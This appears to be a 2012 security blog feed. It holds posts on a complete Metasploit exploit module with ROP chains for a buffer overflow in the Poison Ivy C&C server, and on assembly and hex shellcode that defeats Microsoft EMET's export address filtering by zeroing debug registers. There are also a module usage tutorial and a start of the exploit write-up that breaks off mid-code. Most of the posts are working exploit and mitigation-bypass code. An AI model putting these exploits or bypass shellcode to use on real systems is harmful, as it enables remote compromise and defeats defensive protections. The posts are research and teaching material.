Security Bits

ESET’s Rule The Code

Gal — Sat, 28 Jul 2012 10:57:58 +0000

During Black Hat USA 2012, ESET released a challenge, in which you need to build a key generator that passes 2 stages. Only one person managed to solve the crackme, and he did it in 10 hours. He later submitted another solution. Feel free to download the crackme and see if you can solve it yourself.

Tweaking Metasploit Modules To Bypass EMET – Part 2

Gal — Wed, 11 Jul 2012 15:03:32 +0000

We continue our series of tweaking Metasploit modules to bypass EMET, without changing Metasploit’s payloads. Last time, we talked about bypassing EMET’s EAF using SEH. Since this technique may not necessarily fit your exploit, we present a second technique that bypasses EMET’s EAF without using SEH or changing Metasploit’s payload.

If you haven’t read it yet, bring yourself up to speed by reading part 1 of this series. It contains a lot of valuable information, as well as a description of our setup. We continue with the simple Poison Ivy exploit on Windows XP SP3. One more thing to note is that in this exploit we have quite a lot of stack space. Naturally, if that’s not the case with your exploit, you’ll need to wiggle a bit to make yourself some room.

As before, EMET is set up like this:

In this exploit, all we have to bypass is EAF.

Bypassing EMET’s EAF Without Using SEH

You may want to bypass EMET’s EAF, but you can’t use SEH. What are your options then?

You can use SkyLined’s method of bypassing EAF by finding code in ntdll.dll that reads memory addresses (henceforth, the “memory reader”), and using it to access the EAT. EAF sees that the access comes from ntdll.dll, and approves it. Unfortunately, using this technique requires modifying Metasploit’s payload, contrary to the solution we’re looking for.
You can use Piotr Bania’s method of bypassing EAF by using SetThreadContext to zero the debug registers. However, since we have the chicken and egg problem while trying to get SetThreadContext’s address, the proposed technique uses hardcoded system call values. Unfortunately, this is not generic, and so, we can’t use it as it is.

But what if we could take the best of both techniques? We could use SkyLined’s method to get the address of SetThreadContext, and then use Piotr Bania’s method to zero the debug registers. This will provide us with a generic way to bypass EAF without modifying the Metasploit payloads. We note here, that although Microsoft’s documentation might suggest otherwise, it’s ok to use SetThreadContext on a running thread if you just modify the debug registers.

As always, I didn’t bother optimizing the code – I leave it up to you. So without further ado, here it is:

SUB ESP,70							; EIP = ESP so we play it safe

; Find NTDLL's module info, and search for the memory reader in NTDLL's code

	XOR EBX,EBX
	MOV EBX,DWORD PTR FS:[EBX+18]		; Get TIB address (can skip this)
	MOV EBX,DWORD PTR DS:[EBX+30]		; Get PEB address
	MOV EBX,DWORD PTR DS:[EBX+C]		; Get LDR
	MOV EBX,DWORD PTR DS:[EBX+1C]		; EBX = InInitOrder list
	MOV EDX,DWORD PTR DS:[EBX+8]		; EDX = NTDLL's base address
	MOV EDI,DWORD PTR DS:[EDX+3C]		; Offset of PE header
	MOV EDI,DWORD PTR DS:[EDX+EDI+2C]	; Start of NTDLL's code (RVA)
	LEA EDI,DWORD PTR DS:[EDX+EDI+E000]	; EDI = Start of NTDLL's code (VA) + skip ofs
	MOV EAX,C330408B					; EAX = Opcodes for mov eax,[eax+30h] # ret
search_for_opcodes:
	CMP DWORD PTR DS:[EDI],EAX			; Can't use REPNE SCASD (needs dword boundary)
	JE SHORT opcodes_found
	INC EDI
	JMP SHORT search_for_opcodes	
opcodes_found:
	MOV EBP,EDI							; EBP = address of mov eax,[eax+30h] # ret

; We have the memory reader's address - find kernel32.dll

	PUSH 6C0065							; Push "kernel" in Unicode onto the stack
	PUSH 6E0072
	PUSH 65006B
	CLD
	XOR ECX,ECX
find_kernel32_dll:
	MOV EBX,DWORD PTR DS:[EBX]			; Go to the next module (InInitOrder)
	MOV ESI,ESP							; ESI = "kernel" (Unicode)
	MOV EDI,DWORD PTR DS:[EBX+20]		; EDI = Module's name (Unicode)
	MOV CL,3
	REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
	JNZ SHORT find_kernel32_dll

; Find kernel32.dll's exported function SetThreadContext using the mem reader	
	
	MOV EBX,DWORD PTR DS:[EBX+8]		; EBX = kernel32.dll's base address
	MOV EDX,DWORD PTR DS:[EBX+3C]		; PE header
	MOV EDX,DWORD PTR DS:[EDX+EBX+78]	; EDX = kernel32.dll's export directory (RVA)
	LEA EAX,DWORD PTR DS:[EDX+EBX-14]	; Address of exported funcs - 30 for mem reader
	CALL EBP							; Call the memory reader (EAX = EAT (RVA))
	MOV EDX,DWORD PTR DS:[EDX+EBX+20]	; EDX = Address of function names (RVA)
	ADD EDX,EBX							; EDX = Address of function names (VA)
	ADD EAX,EBX							; EAX = EAT (VA)
	XOR ECX,ECX
	CALL get_exports					; Put address of string on stack
	"SetThreadContext"					; No null termination
get_exports:
	MOV ESI,DWORD PTR SS:[ESP]			; "SetThreadContext"
	MOV EDI,DWORD PTR DS:[EDX]
	ADD EDI,EBX							; Exported function name
	MOV CL,4
	REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
	JE SHORT found_set_context			; Jump if this is our function
	ADD EDX,4							; Next function name
	ADD EAX,4							; Next function address
	JMP SHORT get_exports
found_set_context:
	MOV EDX,DWORD PTR DS:[EAX]
	ADD EDX,EBX							; EDX = address of SetThreadContext

; Zero the debug registers using SetThreadContext

	XOR EAX,EAX
	MOV ECX,EAX
	MOV CL,20
	MOV EDI,ESP
	REP STOS DWORD PTR ES:[EDI]			; Zero the debug regs (context struct)
	MOV DWORD PTR SS:[ESP],10010		; CONTEXT_DEBUG_REGISTERS
	PUSH ESP							; Address of context struct
	PUSH -2								; 0xFFFFFFFE = current thread
	CALL EDX							; SetThreadContext
	
; Our Metasploit payload goes here (executed on the stack)

So here’s the do_exploit function from Metasploit’s official Poison Ivy module:

def do_exploit(header)
	# Handshake
	connect
	print_status("Performing handshake...")
	sock.put("\x00" * 256)
	sock.get

	# Don't change the nulls, or it might not work
	xploit  = ''
	xploit << header
	xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
	xploit << payload.encoded
	xploit << "\x00" * (target['Offset'] - xploit.length)
	xploit << [target.ret].pack("V") # ret to a jmp esp opcode
	xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
	xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

	# The disconnection triggers the exploit
	print_status("Sending exploit...")
	sock.put(xploit)
	select(nil,nil,nil,5)
	disconnect
end

And here’s the modified version that bypasses EMET’s EAF:

def do_exploit(header)

	bypass_EAF_noSEH =
		"\x83\xEC\x70\x33\xDB\x64\x8B\x5B\x18\x8B\x5B\x30\x8B\x5B\x0C\x8B" +
		"\x5B\x1C\x8B\x53\x08\x8B\x7A\x3C\x8B\x7C\x3A\x2C\x8D\xBC\x3A\x00" +
		"\xE0\x00\x00\xB8\x8B\x40\x30\xC3\x39\x07\x74\x03\x47\xEB\xF9\x8B" +
		"\xEF\x68\x65\x00\x6C\x00\x68\x72\x00\x6E\x00\x68\x6B\x00\x65\x00" +
		"\xFC\x33\xC9\x8B\x1B\x8B\xF4\x8B\x7B\x20\xB1\x03\xF3\xA7\x75\xF3" +
		"\x8B\x5B\x08\x8B\x53\x3C\x8B\x54\x1A\x78\x8D\x44\x1A\xEC\xFF\xD5" +
		"\x8B\x54\x1A\x20\x03\xD3\x03\xC3\x33\xC9\xE8\x10\x00\x00\x00\x53" +
		"\x65\x74\x54\x68\x72\x65\x61\x64\x43\x6F\x6E\x74\x65\x78\x74\x8B" +
		"\x34\x24\x8B\x3A\x03\xFB\xB1\x04\xF3\xA7\x74\x08\x83\xC2\x04\x83" +
		"\xC0\x04\xEB\xEB\x8B\x10\x03\xD3\x33\xC0\x8B\xC8\xB1\x20\x8B\xFC" +
		"\xF3\xAB\xC7\x04\x24\x10\x00\x01\x00\x54\x6A\xFE\xFF\xD2"

	# Handshake
	connect
	print_status("Performing handshake...")
	sock.put("\x00" * 256)
	sock.get

	# Don't change the nulls, or it might not work
	xploit  = ''
	xploit << header
	xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
	xploit << bypass_EAF_noSEH
	xploit << payload.encoded
	xploit << "\x00" * (target['Offset'] - xploit.length)
	xploit << [target.ret].pack("V") # ret to a jmp esp opcode
	xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
	xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

	# The disconnection triggers the exploit
	print_status("Sending exploit...")
	sock.put(xploit)
	select(nil,nil,nil,5)
	disconnect
end

Let’s test it:

Tweaking Metasploit Modules To Bypass EMET – Part 1

Gal — Sat, 07 Jul 2012 22:20:43 +0000

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) is designed to increase the protection of your system against exploitation. It can render current Metasploit modules useless, as they’re currently not designed to bypass it. We discuss ways to tweak Metasploit modules in as much a generic way as possible, so they can work against targets utilizing EMET.

EMET has several modules that are designed to (further) protect your computer from exploitation, providing protection even for legacy applications and operating systems that don’t inherently support advanced defense mechanisms. EMET’s modules provide, among other things, support for data execution prevention (DEP), mandatory address space layout randomization (ASLR), and export address table filtering (EAF).

There are two main areas we need to concern ourselves with when trying to bypass EMET: the exploit and the Metasploit payload. Obviously, the exploit needs to be crafted so as to bypass EMET. This cannot be generic – we can’t find a solution that will automatically work for all exploits, as the intrinsic details of the exploit are important to accomplish successful bypassing. It might be a different story when we consider the Metasploit payloads. Sure, we may be able to tweak each payload to bypass EMET, but that’s really missing the point. We would like to have a generic solution that enables all unmodified payloads to work for a specific exploit.

To sum it all up, we’re going to need to know the specifics of the exploit, and then tweak it to bypass EMET regardless of the Metasploit payload used.

For this example we select a very simple configuration: the Poison Ivy exploit, and Windows XP SP3 with EMET v3.0.0.0 (the latest version at the time of writing). Here’s what we know:

The vulnerable executable is not compiled with any exploit mitigation technique.
The exploit takes advantage of a stack-based buffer overflow vulnerability to put the payload on the stack and run it from there.
The exploit uses address 0×401000 (and a little bit onwards) as a place to write data to (such addresses were needed during exploitation). I.e., we can use this set of addresses as destination for our data, without really doing more “damage” than the original exploit does.
There are no characters we need to avoid. Not even null bytes.

What Are We Up Against?

In order to bypass something, it’s always good to know where you’re being stopped. Let’s try EMET with different configurations, and see what’s bothering it. Here’s the first configuration:

As we said, this is a simple exploit on a simple system, so this configuration of EMET doesn’t even bother it:

Next, we enable DEP:

Without even trying the exploit, we run Poison Ivy’s C&C server and get:

Apparently, PI’s unpacker conflicts with DEP. This shouldn’t come as a surprise, as the comments at the end of the official Metasploit module say so. So we can’t enable EMET’s DEP feature. Let’s check what happens when we enable EAF:

We run the exploit and get:

Clearly, the exploit failed. This is what EMET shows:

So basically, for this specific exploit, we only need to overcome EAF. This means that there’s no need to modify the exploitation method, as the problem manifests itself only when the Metasploit payload is run, i.e., after a successful exploitation of the vulnerability. Metasploit modules use the export address table to find addresses of API functions needed by the payload, and that’s where EMET stops them.

Bypassing EMET’s EAF Using Structured Exception Handling (SEH)

It’s a known fact that EMET uses hardware debug registers to intercept instructions that access the EAT through the PEB/TEB. EMET’s code checks that the code traversing the EAT linked list originates from a module’s code section. If that check fails, EMET terminates the application. Naturally, since Metasploit payloads traverse the linked list, and our payload resides on the stack, we’re guaranteed a glorious failure.

All is not lost, though, as all we need to do is find a way to zero the debug registers before letting our payload run. Unfortunately, direct access to the debug registers is restricted to ring 0 code, and most exploits never go past user-land. You might want to let the OS zero the debug registers for you, but that would require getting the address of the appropriate exported functions… Hmmm… Chicken and egg? Maybe not. We will revisit this idea later.

Lucky for us, there is a way to manipulate the debug registers from user space without needing any exported function, and that’s through the use of structured exception handling (SEH). Utilizing SEH to modify the debug registers is rather easy. When an exception is raised, the thread’s context is saved on the stack, and so we can install a custom exception handler that will modify the saved debug registers on the stack, and pass execution back to the program.

Since our payload is on the stack, but we can’t have an exception handler on the stack, we first need to put our exception handler somewhere else. The executable’s code section is marked RWX, and we can put our code there. Normally, we would try to find a place that we can (almost) be certain we can overwrite without causing the program any harm. For this PoC, as mentioned before, we choose 0×401000 as the destination address.

Moreover, in this PoC, 68 bytes are copied to the executable. This is hardly optimized. Not only could we cut down on the code size, but we could also just copy the handler to the code section, leaving the code that triggers the exception on the stack. I leave the optimization as an exercise for you, as the best way to really learn these techniques is by having hands-on experience.

Here’s the PoC, which is a tweak to the original code:

; Copy the exception handler and the trigger to the executable's code section

esp_points_here:
exception_setup:
	MOV EDI,401000
	MOV EAX,EDI                                
	MOV ESI,ESP
	XOR ECX,ECX
	MOV CL,payload - bypass_EAF
	ADD ESI,bypass_EAF - exception_setup
	REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
	MOV EBX,ESI		; Points to payload (right after the handler, on the stack)
	CALL EAX		; Call the copied code

; Set up an exception handler and raise a null-pointer-dereference exception
; Not executed on the stack, but copied to the code section and run there
	
bypass_EAF:
	SUB ESP,40		; Just in case, since we have instructions on the stack
	CALL start		; Get EIP
start:
	MOV EAX,DWORD PTR SS:[ESP]
	ADD EAX,handler - start
	PUSH EAX
	PUSH DWORD PTR FS:[0]
	MOV DWORD PTR FS:[0],ESP
	XOR EAX,EAX
	PUSH EBX		; This is the payload's address on the stack
	MOV BYTE PTR DS:[EAX],1
	RETN			; The debug registers are all zero - go run the payload

; The handler zeros the debug registers and jumps over the *EAX=1 instruction
	
handler:
	XOR EAX,EAX
	MOV EBX,DWORD PTR SS:[ESP+C]
	ADD DWORD PTR DS:[EBX+B8],3		; Change saved EIP (jump over *EAX=1)
	MOV DWORD PTR DS:[EBX+4],EAX	; Zero debug registers
	MOV DWORD PTR DS:[EBX+8],EAX
	MOV DWORD PTR DS:[EBX+C],EAX
	MOV DWORD PTR DS:[EBX+10],EAX
	MOV DWORD PTR DS:[EBX+14],EAX
	MOV DWORD PTR DS:[EBX+18],EAX
	RETN
	
; Our Metasploit payload goes here (executed on the stack)
	
payload:

So here’s the do_exploit function from Metasploit’s official Poison Ivy module:

def do_exploit(header)
	# Handshake
	connect
	print_status("Performing handshake...")
	sock.put("\x00" * 256)
	sock.get

	# Don't change the nulls, or it might not work
	xploit  = ''
	xploit << header
	xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
	xploit << payload.encoded
	xploit << "\x00" * (target['Offset'] - xploit.length)
	xploit << [target.ret].pack("V") # ret to a jmp esp opcode
	xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
	xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

	# The disconnection triggers the exploit
	print_status("Sending exploit...")
	sock.put(xploit)
	select(nil,nil,nil,5)
	disconnect
end

And here’s the modified version that bypasses EMET’s EAF:

def do_exploit(header)

	exception_setup =
		"\xBF\x00\x10\x40\x00\x8B\xC7\x8B\xF4\x33\xC9\xB1\x44\x83\xC6\x16" +
		"\xF3\xA4\x8B\xDE\xFF\xD0"

	bypass_EAF =
		"\x83\xEC\x40\xE8\x00\x00\x00\x00\x8B\x04\x24\x83\xC0\x1C\x50\x64" +
		"\xFF\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x33\xC0\x53" +
		"\xC6\x00\x01\xC3\x33\xC0\x8B\x5C\x24\x0C\x83\x83\xB8\x00\x00\x00" +
		"\x03\x89\x43\x04\x89\x43\x08\x89\x43\x0C\x89\x43\x10\x89\x43\x14" +
		"\x89\x43\x18\xC3"

	# Handshake
	connect
	print_status("Performing handshake...")
	sock.put("\x00" * 256)
	sock.get

	# Don't change the nulls, or it might not work
	xploit  = ''
	xploit << header
	xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
	xploit << exception_setup
	xploit << bypass_EAF
	xploit << payload.encoded
	xploit << "\x00" * (target['Offset'] - xploit.length)
	xploit << [target.ret].pack("V") # ret to a jmp esp opcode
	xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
	xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

	# The disconnection triggers the exploit
	print_status("Sending exploit...")
	sock.put(xploit)
	select(nil,nil,nil,5)
	disconnect
end

Let’s test it:

You can use this example of bypassing EMET’s EAF to try and modify other Metasploit modules and see if you can get them to bypass EMET. In the coming parts we’ll deal with other techniques and different configurations.

Go to part 2.

Tutorial For The Official Poison Ivy Metasploit Module

Gal — Thu, 05 Jul 2012 01:35:42 +0000

The official Poison Ivy Metasploit module has just been released. With the help of Juan Vazquez, the official module is a major upgrade to the original module I published. Here is some important information on how to use it.

The module’s name is poisonivy_bof, and it resides under windows/misc. The original module was universal, and used ROP chains to bypass DEP and ASLR. Apparently, out-of-the-box Poison Ivy can’t run on DEP-enabled systems due to its unpacker, so the ROP chains were removed from the official module, and a regular return-to-payload was put there instead. The targets were updated accordingly. If, for some reason, you encounter a Poison Ivy C&C server on a DEP-enabled system, refer to the original module for the ROP chains.

Another important addition is the ability to send random headers to the server, instead of a precooked header. When running the check function, it’s important to note whether it reports that the password used is “admin” or not. If it does, just use the hardcoded header, and it should work just fine. The server expects a header encrypted with Camellia, using the password as the key. It then decrypts the header and processes it. The hardcoded header was encrypted using “admin” as the key, but it’s not feasible to do this with all possible keys.

If check() reports that the password is not “admin”, decrypting the header is going to produce gibberish on the server’s side. All is not lost though, as this gibberish may still work. If it doesn’t work, it usually fails silently, and the thread that got spawned for our connection exits cleanly. Only in extreme cases will something “bad” happen, like a message box popping up, or a server crash. In case there was a silent failure, we can just try again with a random header and see what happens. For that, we have two possible modes:

Use the RANDHEADER setting to send a single random header and see what happens. Rerun until exploitation is successful.

Use a brute-force approach by selection target #1. The brute-forcer will try up to 5 different headers, with the first one being the one for “admin”, and the rest being random headers. If it still doesn’t succeed, simply run it again.

The reason for having the brute-forcer is pretty obvious, as it may take more than a single try to succeed. Why do we have an option to send a single random header, then? Well, the brute-forcer stops after 5 tries, or (hopefully ) when a session is established. If your payload doesn’t establish a session (consider windows/exec for example), the brute-forcer won’t stop even after successful exploitation. That is, you may end up performing a successful exec 5 times in a row, which could be more than you’ve bargained for. For sessionless payloads, I suggest using the manual approach and not the brute-forcer.

Make sure this doesn’t happen to you:

The problem appears when the session creation time is longer than the brute-forcer’s time between tries. Fortunately, we can control that through an advanced option:

So just raise BruteWait, and that should fix things:

That’s all there is to it. Good luck!

Poison Ivy Exploit Metasploit Module

Gal — Sun, 01 Jul 2012 18:40:31 +0000

After providing a detailed exploit for Poison Ivy’s C&C server, the natural course of things was to incorporate it into the Metasploit framework. So here is a fully functional Metasploit module that exploits a remote Poison Ivy C&C server, bypassing DEP and ASLR, for all Windows versions.

This is how you run the module:

Easy as PI.

This is the current version of the Metasploit module for the Poison Ivy exploit. Check back from time to time as it may get updated.

##
# Poison Ivy C&C server buffer overflow exploit by Gal Badishi
# http://www.badishi.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
			'Description'    => %q{
				This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
				The exploit does not need to know the password chosen for the bot/server comm.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Gal Badishi [http://www.badishi.com]',
				],
			'References'     =>
				[
					[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ],
				],
			'DisclosureDate' => "Jun 24 2012",
			'Version'        => '$Revision: 1 $',
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'StackAdjustment'   => -4000,
					'Space'             => 10000,
					'BadChars'          => "",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0
		))
		
		register_options(
			[
				Opt::RPORT(3460),
			], self.class)
	end

	def check
	
		sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
		lensig = [0x000015D0].pack("V")
		
		connect
		sock.put("\x00" * 256)
		response = sock.read(256)
		datalen = sock.read(4)
		disconnect
		if datalen == lensig
			print_status("Password appears to be \"admin\"") if response[0, 16] == sig
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end
	
	def exploit
	
		# This is the 32-byte header we want to send, encrypted with the default password ("admin")
		# We have a very good chance of succeeding even if the password was changed
		header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
	
		short_rop = [
			0x0041F1E9,	# 1st jump - will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
			0x00401000,	# Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
			0xFFFF8000,	# edx. We'll add this number later to ebp (which will subtract 0x8000 from it).
			0x0042F63A,	# Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
			0x00000000,	# edi (ebp points here now)
			0x00000000,	# esi
			0x00000000,	# ebx
			0x00426799,	# We need this to offset ebp: mov eax,edx # retn
			0x0041F337,	# Subtract 0x8000 from ebp: add ebp,eax # retn
			0x00403A77,	# mov esp,ebp # pop ebp # retn
		].pack("V*")

		long_rop = [
			0x00000000,	# New ebp
			0x0041F1E9,	# Will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
			0x0000002C,	# edx. We'll add this number later to ebp, to prevent looping.
			0x0042F63A,	# Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
			0x00000001,	# edi. We need it when we call VirtualProtect (ebp points here now)
			0x00000000,	# esi
			0x00000000,	# ebx
			0x00426799,	# We need this to offset ebp: mov eax,edx # retn
			0x0041F337,	# Subtract 0x8000 from ebp: add ebp,eax # retn
			0x004D82DE,	# eax will now point 8 bytes from the beginning of the bigger ROP chain: mov eax,ecx # retn
			0x004F196E,	# push eax (address) and call VirtualProtect, then add ebx, 0x28 # mov edi, 0x46FAC1 # pop esi # pop ebx # mov esp, ebp # pop ebp # ret 8
			0x00004000,	# Size
			0x00000040,	# New protect (0x40 = PAGE_EXECUTE_READWRITE)
			0x00401000,	# Old protect (ptr)
			0x00000000,	# esi
			0x00000000,	# ebx. ebp will point here after the offset, meaning that esp will point here after VirtualProtect.
			0x0041AA97,	# jmp esp (also new ebp)
			0x00000000,	# Discarded
			0x00000000,	# Discarded
		].pack("V*")

		short_rop_pos = 0x806D
		long_rop_pos = short_rop_pos - 0x7FF0
		
		# Handshake
		connect
		print_status("Performing handshake...")
		sock.put("\x00" * 256)
		sock.get
		
		# Don't change the nulls, or it might not work
		xploit  = ''
		xploit << header
		xploit << "\x00" * (long_rop_pos - xploit.length)
		xploit << long_rop
		xploit << payload.encoded
		xploit << "\x00" * (short_rop_pos - xploit.length)
		xploit << short_rop
		
		# The disconnection triggers the exploit
		print_status("Sending exploit...")
		sock.put(xploit)
		disconnect

		# Time to own the box
		handler
	end

end

Hack-Me Shirts And Cool Gear!

Gal — Sun, 01 Jul 2012 17:41:10 +0000

We are proud to present a new, growing collection from IBadishi Digital Art (the sharpest of you might note the family relationship ). The collection features hack-me shirts (try to hack them!), ASCII art, geek chic, and simply cool gear. You can see some samples below. We would also love to hear what you think and what cool designs you would like to see, so feel free to leave your comments below.

Own And You Shall Be Owned

Gal — Sun, 24 Jun 2012 10:05:01 +0000

While working on Poison Ivy’s communication, one of my students approached me and asked me if the fact that an infected computer can connect to the C&C server means that the compromised host can break into the server. Well folks, it appears that it’s possible. We will now present a fully working exploit for all Windows platforms (i.e., bypassing DEP and ASLR), allowing a computer infected by Poison Ivy (or any other computer, for that matter) to assume control of PI’s C&C server.

As we already know, Poison Ivy’s initial communication sequence goes as follows:

The client contacts the server and sends 256 bytes of data (challenge).
The server encrypts the data and sends it back (response).
The server sends an encrypted command (machine code) to the client (preceded by a cleartext length DWORD).
The client sends the infected computer’s encrypted details to the server.

Steps 3 and 4 are somewhat interchangeable. In any case, we’ll be attacking step 4. This sort of attack has already been investigated by Andrzej Dereszowski, but some details were omitted, and the exploit was very limited in nature (and not disclosed).

First, let’s see what bytes the client sends to the server in step 4:

unsigned char client_details[] =
{
    0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0xBB, 0x00, 0x00, 0x00, 
    0xC2, 0x00, 0x00, 0x00, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0xB8, 0xB0, 0x00, 0x00, 0x00, 0x09, 0x6D, 0x79, 0x70, 0x72, 0x6F, 0x00, 0x66, 0x67, 0x61, 0x6C, 
    0x00, 0xC0, 0xA8, 0x0D, 0x00, 0x01, 0x02, 0x58, 0x33, 0x04, 0x55, 0x73, 0x65, 0x80, 0x72, 0x01, 
    0x9C, 0x00, 0x00, 0x00, 0x05, 0x00, 0x18, 0x82, 0x01, 0x00, 0x0C, 0x28, 0x0A, 0x00, 0x00, 0x02, 
    0x00, 0x1C, 0x00, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x20, 0x00, 0x50, 0x61, 0x63, 0x6B, 
    0x20, 0x33, 0x00, 0x7C, 0x01, 0x00, 0x48, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x48, 0xBB, 0x00, 0x14, 
    0x00, 0x00, 0xE0, 0xFD, 0x7F, 0x94, 0xFE, 0x80, 0x9F, 0x00, 0x17, 0x83, 0x91, 0x7C, 0x35, 0x00, 
    0x06, 0x00, 0x00, 0x1E, 0x15, 0x00, 0x08, 0x00, 0xA0, 0x00, 0x80, 0xE0, 0x50, 0x88, 0x7C, 0x00, 
    0x3E, 0x15, 0x01, 0x54, 0x80, 0x00, 0xE8, 0xE0, 0x80, 0x7C, 0xF8, 0x1D, 0x01, 0x16, 0x30, 0x14, 
    0x00, 0x0C, 0x01, 0x00, 0xB2, 0x00, 0x46, 0x00, 0x00, 0xB8, 0x14, 0x00, 0xA0, 0x00, 0x37, 0x01, 
    0x2F, 0x01, 0x0B, 0xAC, 0x00, 0x0B, 0x20, 0xC3, 0x31, 0x91, 0x7C, 0xDF, 0x00, 0x03, 0x08, 0x06, 
    0xD6, 0x14, 0x02, 0x43, 0x00, 0x29, 0x00, 0x01, 0x03, 0x03, 0x01, 0x45, 0x00, 0x37, 0x00, 0x66, 
    0x2F, 0x5F, 0x47, 0x00, 0xC0, 0xF7, 0x1F, 0x02, 0xE7, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 
};

The data given here provides the server with the following information:

When analyzing the PI server (it’s packed with ExeStealth, BTW), we see that it first reads 0×20 bytes of client data (i.e., the header), parses that header, and acts accordingly. Some interesting values in the header:

The 1st DWORD is either 4 or not. A value of 4 involves taking a different branch that doesn’t interest us.
The 3rd DWORD indicates the number of additional bytes to read from the socket after reading the header (i.e., the data).
The 4th DWORD is the number of relevant data bytes in the data that’s going to be read from the socket.
The 5th DWORD is the real size of the relevant data. If this is bigger than the 4th DWORD, the read data should be decompressed using RtlDecompressBuffer.
The 6th DWORD is the size of the buffer to allocate for the (uncompressed) relevant data. This has nothing to do with the buffer for reading the data from the socket, which is simply a local array variable, residing on the stack.

If you think this construction is weird, you’re absolutely right. Either the author did it so he can have a backdoor via an exploit, or I’m giving him way too much credit. Either way, this header screams “exploit me!”, and in this case, I don’t mind being a pleaser.

First thing’s first. If we want to transfer our own header, we need to encrypt it. We use what we already know about Poison Ivy’s crypto system, and utilize PI’s own PILib.dll to our advantage:

#ifndef __CAMMELIA_H
#define __CAMMELIA_H

#include 

#define CAMELLIA_LIBRARY "PILIB.DLL"
#define CAMELLIA_SCHEDULE_KEYS "C_SK"
#define CAMELLIA_ENCRYPT "C_E"
#define CAMELLIA_DECRYPT "C_D"

#define CAMELLIA_BLOCK_SIZE 16
#define CAMELLIA_KEY_LEN (256 / 8)
/* Not accurate - just needs to be big enough */
#define CAMELLIA_ALL_KEYS_LEN 1024

int loadCamellia(const char *key, unsigned int len);
/* encrypt() and decrypt() require len to be a multiple of CAMELLIA_BLOCK_SIZE */
void encrypt(unsigned char *data, int len);
void deccrypt(unsigned char *data, int len);
void unloadCamellia();

#endif

And the actual code (note that Camellia is a block cipher):

#include 

#include "Camellia.h"

typedef int (__stdcall *c_sk_t)(unsigned char *, unsigned char *);
typedef int (__stdcall *c_e_t)(unsigned char *, unsigned char *, unsigned char *);
typedef int (__stdcall *c_d_t)(unsigned char *, unsigned char *, unsigned char *);

HMODULE hMod = NULL;
	
c_sk_t c_sk = NULL;
c_e_t c_e = NULL;
c_d_t c_d = NULL;

unsigned char all_keys[CAMELLIA_ALL_KEYS_LEN] = {0};

int loadCamellia(const char *key, unsigned int len) {

	unsigned char c_key[CAMELLIA_KEY_LEN] = {0};

	if ((hMod = LoadLibrary(CAMELLIA_LIBRARY)) == NULL)
		return FALSE;
	if ((c_sk = (c_sk_t)GetProcAddress(hMod, CAMELLIA_SCHEDULE_KEYS)) == NULL ||
		(c_e = (c_e_t)GetProcAddress(hMod, CAMELLIA_ENCRYPT)) == NULL ||
		(c_d = (c_d_t)GetProcAddress(hMod, CAMELLIA_DECRYPT)) == NULL) {
			FreeLibrary(hMod);
			return FALSE;
	}
	memcpy(c_key, key, len <= CAMELLIA_KEY_LEN ? len : CAMELLIA_KEY_LEN);
	c_sk(c_key, all_keys);
	return TRUE;
}

void encrypt(unsigned char *data, int len) {

	int idx;

	/* Make sure len is a multiple of CAMELLIA_BLOCK_SIZE */
	if (len % CAMELLIA_BLOCK_SIZE > 0)
		return;
	for (idx = 0; idx < len; idx += CAMELLIA_BLOCK_SIZE)
		c_e(data + idx, data + idx, all_keys);
}

void decrypt(unsigned char *data, int len) {

	int idx;

	/* Make sure len is a multiple of CAMELLIA_BLOCK_SIZE */
	if (len % CAMELLIA_BLOCK_SIZE > 0)
		return;
